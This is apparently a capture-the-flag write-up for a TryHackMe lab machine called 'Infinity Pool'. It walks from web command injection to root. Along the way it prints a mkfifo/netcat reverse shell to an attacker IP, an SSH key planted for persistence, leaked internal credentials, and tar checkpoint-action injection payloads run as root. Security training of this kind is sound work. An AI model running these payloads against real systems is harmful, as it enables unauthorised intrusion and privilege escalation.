Information
Room#
- Name: Infinity Pool
- Profile: tryhackme.com
- Difficulty: Medium
- Description: No visible edge. You trace the network to the horizon and find three systems nobody told you about on the other side.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap rlwrap openssh curl dirsearchLore#
🛎️ Concierge Briefing
Byte Lotus Hotel promises a seamless stay powered by modern technology. Sometimes the most interesting systems are the ones guests were never meant to see.
🏖️ TODAY'S ITINERARY
- [ ] Find the user flag
- [ ] Find the root flag
Web discovery#
Warning: the IP address of the machine may change as I reboot the VM.
Looking at the HTML source, there is a JavaScript file sourced: http://10.129.188.231/static/app.js.
// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
console.log("Stay Noticed\u2122");It's possible to discover the same endpoints in robots.txt:
User-agent: *
Disallow: /internal/
Disallow: /statusWhen entering an IP address at the /status page, it sends this requests:
POST /internal/netcheck HTTP/1.1
Host: 10.129.188.231
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://10.129.188.231
Connection: keep-alive
Referer: http://10.129.188.231/status
Upgrade-Insecure-Requests: 1
Priority: u=0, i
host=127.0.0.1The output is displayed on the page. Of course the classical command injection works. With the following payload…
host=127.0.0.1+%3E%2Fdev%2Fnull%3B+id…the following result is returned:
uid=1001(web) gid=1001(web) groups=1001(web)Command injection#
Let's replace id with a reverse shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.130.181 9999 >/tmp/fAnd listen:
➜ rlwrap -cAr ncat -lvnp 9999
[…]
web@tryhackme-2404:/var/www/infinity_pool/edge$ ls -lhA /home/web
total 24K
-rw-r--r-- 1 web web 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 web web 3.7K Feb 25 2020 .bashrc
drwx------ 2 web web 4.0K Jun 30 09:24 .cache
-rw-r--r-- 1 web web 807 Feb 25 2020 .profile
drwxr-xr-x 2 web web 4.0K Jun 30 09:23 .ssh
-rw-r--r-- 1 web web 21 Jun 30 09:07 user.txt
web@tryhackme-2404:/var/www/infinity_pool/edge$ cat /home/web/user.txt
THM{EDITED}Persistence#
For persistence and a more reliable access, we can deploy a SSH key for that user as SSH is exposed.
Let's generate a key.
ssh-keygen -t ed25519 -f THM_infinitypoolOn the target, copy the key.
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFQNh/P2+uTzKW4Cy6sxUuktTxbn9kg1jsBNM/vglkSv noraj@penarch" >> /home/web/.ssh/authorized_keysWe can now connect over SSH.
ssh -i THM_infinitypool web@10.129.188.231Elevation of Privileges (EoP) - Discovery#
There are two more folders/services existing for infinity_pool but we do not have access to them:
web@tryhackme-2404:~$ ls -lhA /var/www/infinity_pool/
total 12K
drwxr-x--- 4 root root 4.0K Jul 25 17:02 automation
drwxr-xr-x 5 root root 4.0K Jun 30 09:33 edge
drwxr-x--- 5 svc-watch svc-watch 4.0K Jun 30 09:37 watchtower
web@tryhackme-2404:~$ ls -lhA /var/www/infinity_pool/watchtower/
ls: cannot open directory '/var/www/infinity_pool/watchtower/': Permission denied
web@tryhackme-2404:~$ ls -lhA /var/www/infinity_pool/automation/
ls: cannot open directory '/var/www/infinity_pool/automation/': Permission deniedThose process are running:
web@tryhackme-2404:~$ ps -ef f | grep infinity_pool
root 668 1 0 20:37 ? Ss 0:00 /var/www/infinity_pool/automation/venv/bin/python3 /var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
root 792 668 0 20:37 ? S 0:00 \_ /var/www/infinity_pool/automation/venv/bin/python3 /var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
web 669 1 0 20:37 ? Ss 0:00 /var/www/infinity_pool/edge/venv/bin/python3 /var/www/infinity_pool/edge/venv/bin/gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
web 794 669 0 20:37 ? S 0:00 \_ /var/www/infinity_pool/edge/venv/bin/python3 /var/www/infinity_pool/edge/venv/bin/gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
svc-wat+ 670 1 0 20:37 ? Ss 0:00 /var/www/infinity_pool/watchtower/venv/bin/python3 /var/www/infinity_pool/watchtower/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app
svc-wat+ 793 670 0 20:37 ? S 0:00 \_ /var/www/infinity_pool/watchtower/venv/bin/python3 /var/www/infinity_pool/watchtower/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:appwatchtower is running as svc-watch and automation as root. Those two services are exposed on lcoal-host only.
web@tryhackme-2404:~$ ss -nlpt4
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 2048 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:5038 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:9000 0.0.0.0:*
LISTEN 0 2048 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 10 127.0.0.1:8088 0.0.0.0:*
LISTEN 0 10 127.0.0.1:8089 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*By the way, there is also a VoIP service running:
[…]
asterisk 667 1 0 20:37 ? Ssl 0:29 /usr/sbin/asterisk -g -f -p -U asterisk
asterisk 919 667 0 20:37 ? S 0:00 \_ astcanary /var/run/asterisk/alt.asterisk.canary.tweet.tweet.tweet 667
[…]
root 937 1 0 20:37 ? Ss 0:00 /usr/sbin/apache2 -k start
asterisk 1233 937 0 20:37 ? S 0:00 \_ /usr/sbin/apache2 -k start
asterisk 1234 937 0 20:37 ? S 0:00 \_ /usr/sbin/apache2 -k start
asterisk 1235 937 0 20:37 ? S 0:00 \_ /usr/sbin/apache2 -k start
asterisk 1236 937 0 20:37 ? S 0:00 \_ /usr/sbin/apache2 -k start
asterisk 1237 937 0 20:37 ? S 0:00 \_ /usr/sbin/apache2 -k start
[…]Parenthesis#
For fun, let's try miniss on the target to list sockets and as a bonus resolving owners.
Download the pre-compiled binary at https://github.com/noraj/miniss/releases/download/0.0.2/miniss-x86_64-linux-gnu.
Then push it to the target:
scp ./miniss -i THM_infinitypool web@10.129.188.231Then let's make it executable and compare:
web@tryhackme-2404:~$ chmod u+x miniss
web@tryhackme-2404:~$ ./miniss -t4 | grep LISTEN
tcp 127.0.0.1:3000 0.0.0.0:0 LISTEN svc-watch (996)
tcp 127.0.0.1:5038 0.0.0.0:0 LISTEN asterisk (117)
tcp 127.0.0.54:53 0.0.0.0:0 LISTEN systemd-resolve (101)
tcp 127.0.0.1:9000 0.0.0.0:0 LISTEN root (0)
tcp 0.0.0.0:80 0.0.0.0:0 LISTEN web (1001)
tcp 0.0.0.0:22 0.0.0.0:0 LISTEN root (0)
tcp 127.0.0.53:53 0.0.0.0:0 LISTEN systemd-resolve (101)
tcp 127.0.0.1:8088 0.0.0.0:0 LISTEN asterisk (117)
tcp 127.0.0.1:8089 0.0.0.0:0 LISTEN asterisk (117)
tcp 127.0.0.1:8080 0.0.0.0:0 LISTEN root (0)
tcp 127.0.0.1:3306 0.0.0.0:0 LISTEN mysql (116)Displaying owners would have been helpful if the mapped ports were not displayed in the gunicorn commands.
Elevation of Privileges (EoP) - Finding the way#
Well then focus on port 3000 and 9000. We can access them on our host with a classical SSH local port forwarding (see my pivoting guide).
ssh -i THM_infinitypool web@10.129.188.231 -N -L 127.0.0.1:3000:127.0.0.1:3000
ssh -i THM_infinitypool web@10.129.188.231 -N -L 127.0.0.1:9000:127.0.0.1:9000On the port 3000 (watchtower), there is a monitoring page, disclosing two API endpoints:
curl -s http://127.0.0.1:3000/ | htmlq 'code' --text
# /api/health
# /api/configOf course /api/health is boring but /api/config disclose some credentials.
➜ curl -s http://127.0.0.1:3000/api/config | jq
{
"automation_endpoint": "http://127.0.0.1:9000",
"note": "internal network only -- do not expose",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "EDITED",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}UCP web server configuration tells us where it's mapped on the file system.
$ cat /etc/apache2/sites-enabled/freepbx.conf
<VirtualHost 127.0.0.1:8080>
DocumentRoot /var/www/html
<Directory /var/www/html>
AllowOverride All
Require all granted
</Directory>
</VirtualHost>web@tryhackme-2404:~$ ls -lh /var/www/html
total 24K
drwxrwxr-x 10 asterisk asterisk 4.0K Jul 25 16:39 admin
-rw-rw-r-- 1 asterisk asterisk 11K Jun 30 09:08 index.html
-rw-rw-r-- 1 asterisk asterisk 453 Jun 30 09:10 index.php
-rw-rw-r-- 1 asterisk asterisk 361 Jun 30 09:10 robots.txt
lrwxrwxrwx 1 asterisk asterisk 38 Jun 30 09:13 ucp -> /var/www/html/admin/modules/ucp/htdocsThe service on port 8080 is running as root, maybe the path to victory is quicker and there is not need to compromise automation or asterisk many services.
Let's forward it:
ssh -i THM_infinitypool web@10.129.188.231 -N -L 127.0.0.1:8080:127.0.0.1:8080Let's try the credentials at http://127.0.0.1:8080/ucp/ (UCP / FreePBX).
Credentials works. Our homepage is empty, let's create an empty dashboard and all widgets on it to see if one if useful.
The last wiedget, named Voicemail, has a message registered where the CID is "Automation Key cc_auto_EDITED" <9000>. So next we'll attack port 9000 as we have obtained a secret for it.
Elevation of Privileges (EoP) - Walk the way#
On port 9000 (automation), I performed a minimal fuzz to identify endpoints:
➜ dirsearch -u http://127.0.0.1:9000/
[…]
[00:47:37] 200 - 245B - /healthAgain, we have interesting info here.
➜ curl -s http://127.0.0.1:9000/health | jq
{
"endpoints": {
"GET /health": "service status",
"POST /jobs/export": {
"auth": "Authorization: Bearer <automation key>",
"body": {
"report": "<report name>"
},
"desc": "archive the latest data export"
}
},
"runs_as": "root",
"service": "automation",
"status": "ok"
}/jobs/export requires a key but we just leaked one.
➜ curl -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_EDITED' -H 'Content-Type: application/json' -d '{"report":"noraj"}' -s | jq
{
"command": "tar czf /var/automation/exports/noraj.tgz /var/automation/data 2>&1",
"output": "tar: Removing leading `/' from member names\n"
}So we might have command injecting as root in the tar command.
GTFObinning tar:
➜ gtfoblookup gtfobins search -c shell tar
tar:
shell:
Code: tar -cf /dev/null /dev/null --checkpoint=1
--checkpoint-action=exec=/bin/sh
Description: This only works for GNU tar.
Code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
Description: This only works for GNU tar. It can be useful when
only a limited command argument injection is available.
Code: TF=$(mktemp)
echo '/bin/sh 0<&1' > "$TF"
tar cf "$TF.tar" "$TF"
tar xf "$TF.tar" --to-command sh
rm "$TF"*Splendid command injection again:
➜ curl -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_EDITED' -H 'Content-Type: application/json' -d '{"report":"noraj.tgz /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/id #"}' -s | jq
{
"command": "tar czf /var/automation/exports/noraj.tgz /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/id #.tgz /var/automation/data 2>&1",
"output": "uid=0(root) gid=0(root) groups=0(root)\ntar: Removing leading `/' from member names\n"
}I'm to bored to get a shell, let's just display the root flag.
➜ curl -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_EDITED' -H 'Content-Type: application/json' -d '{"report":"noraj.tgz /dev/null --checkpoint=1 --checkpoint-action=exec=\"/usr/bin/cat /root/root.txt\" #"}' -s | jq
{
"command": "tar czf /var/automation/exports/noraj.tgz /dev/null --checkpoint=1 --checkpoint-action=exec=\"/usr/bin/cat /root/root.txt\" #.tgz /var/automation/data 2>&1",
"output": "THM{EDITED}\ntar: Removing leading `/' from member names\n"
}